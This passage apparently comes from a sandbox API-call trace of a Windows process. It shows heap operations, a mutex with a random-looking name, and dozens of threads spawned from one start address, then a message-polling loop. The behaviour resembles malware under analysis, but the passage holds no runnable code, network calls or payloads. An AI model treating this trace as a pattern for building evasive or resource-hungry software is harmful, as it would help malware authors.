[0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692838 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.995] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x39) returned 0x685f30 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693cc0 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x693ce8 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x27) returned 0x685f30 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6927f8 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693cc0 | out: hHeap=0x630000) returned 1 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693ce8 | out: hHeap=0x630000) returned 1 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x693cc0 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x17) returned 0x685f30 [0066.996] GetProcessHeap () returned 0x630000 [0066.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x693cc0 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x11) returned 0x685f30 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e00 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa) returned 0x685f30 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0067.021] GetProcessHeap () returned 0x630000 [0067.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0067.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664e08, cbMultiByte=6, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="googlea firefoxer") returned 6 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664f38 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x665100 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664e18 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664b18 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664cf8 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664e18, Size=0xa) returned 0x664b30 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664cf8 | out: hHeap=0x630000) returned 1 [0067.022] GetProcessHeap () returned 0x630000 [0067.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664b30 | out: hHeap=0x630000) returned 1 [0067.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664b20, cbMultiByte=1, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr=".foglea firefoxer") returned 1 [0067.022] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Jr7FM9tJHaBoMcvR") returned 0x450 [0067.022] GetLastError () returned 0x0 [0067.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xfd8) returned 0x4a8 [0067.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xf00) returned 0x454 [0067.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x378) returned 0x458 [0067.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x794) returned 0x444 [0067.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xd54) returned 0x448 [0067.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x78c) returned 0x44c [0067.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xbcc) returned 0x43c [0067.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xc28) returned 0x438 [0067.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xe0c) returned 0x440 [0067.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x788) returned 0x49c [0067.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xcec) returned 0x394 [0067.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xa60) returned 0x38c [0067.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xf94) returned 0x32c [0067.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x125c) returned 0x520 [0067.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xf90) returned 0x528 [0067.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x10b0) returned 0x524 [0067.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xfc0) returned 0x538 [0067.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xfbc) returned 0x544 [0067.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xfa8) returned 0x548 [0067.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xfa0) returned 0x54c [0067.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xe8c) returned 0x550 [0067.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1270) returned 0x554 [0067.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x126c) returned 0x558 [0067.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x880) returned 0x55c [0067.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x118c) returned 0x560 [0067.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12b8) returned 0x564 [0067.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12bc) returned 0x568 [0067.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12d8) returned 0x56c [0067.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12b0) returned 0x570 [0067.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1368) returned 0x574 [0067.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1284) returned 0x578 [0067.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1290) returned 0x57c [0067.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1298) returned 0x580 [0067.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1294) returned 0x584 [0067.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12cc) returned 0x588 [0067.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12ac) returned 0x58c [0067.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x129c) returned 0x590 [0067.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1280) returned 0x370 [0067.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1338) returned 0x374 [0067.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12a0) returned 0x330 [0067.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12c4) returned 0x470 [0067.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12a8) returned 0x594 [0067.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x133c) returned 0x598 [0067.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12c0) returned 0x59c [0067.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1288) returned 0x5a0 [0067.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1278) returned 0x5a4 [0067.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0xe88) returned 0x5a8 [0067.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x12fc) returned 0x5ac [0067.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1304) returned 0x5b0 [0067.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40cbf8, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x41557c | out: lpThreadId=0x41557c*=0x1374) returned 0x5b4 [0067.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x2800, lpStartAddress=0x40d62c, lpParameter=0x645dd8, dwCreationFlags=0x0, lpThreadId=0x645ddc | out: lpThreadId=0x645ddc*=0x1274) returned 0x5b8 [0067.542] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0067.542] Sleep (dwMilliseconds=0x1) [0067.712] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0067.712] Sleep (dwMilliseconds=0x1) [0067.828] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0067.828] Sleep (dwMilliseconds=0x1) [0067.935] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0067.935] Sleep (dwMilliseconds=0x1) [0068.042] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.042] Sleep (dwMilliseconds=0x1) [0068.147] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.147] Sleep (dwMilliseconds=0x1) [0068.282] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.282] Sleep (dwMilliseconds=0x1) [0068.394] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.394] Sleep (dwMilliseconds=0x1) [0068.492] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.492] Sleep (dwMilliseconds=0x1) [0068.546] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.697] Sleep (dwMilliseconds=0x1) [0068.747] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.747] Sleep (dwMilliseconds=0x1) [0068.792] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.792] Sleep (dwMilliseconds=0x1) [0068.843] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.843] Sleep (dwMilliseconds=0x1) [0068.883] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.883] Sleep (dwMilliseconds=0x1) [0068.935] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.935] Sleep (dwMilliseconds=0x1) [0068.975] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0068.975] Sleep (dwMilliseconds=0x1) [0069.048] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.048] Sleep (dwMilliseconds=0x1) [0069.104] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.197] Sleep (dwMilliseconds=0x1) [0069.250] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.250] Sleep (dwMilliseconds=0x1) [0069.292] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.292] Sleep (dwMilliseconds=0x1) [0069.378] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.378] Sleep (dwMilliseconds=0x1) [0069.434] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.434] Sleep (dwMilliseconds=0x1) [0069.483] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.483] Sleep (dwMilliseconds=0x1) [0069.522] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.522] Sleep (dwMilliseconds=0x1) [0069.689] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.689] Sleep (dwMilliseconds=0x1) [0069.919] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0069.919] Sleep (dwMilliseconds=0x1) [0070.147] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0070.262] Sleep (dwMilliseconds=0x1) [0070.382] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0070.382] Sleep (dwMilliseconds=0x1) [0070.533] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0070.534] Sleep (dwMilliseconds=0x1) [0070.870] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0071.569] Sleep (dwMilliseconds=0x1) [0071.942] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0071.942] Sleep (dwMilliseconds=0x1) [0072.429] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] PeekMessageA 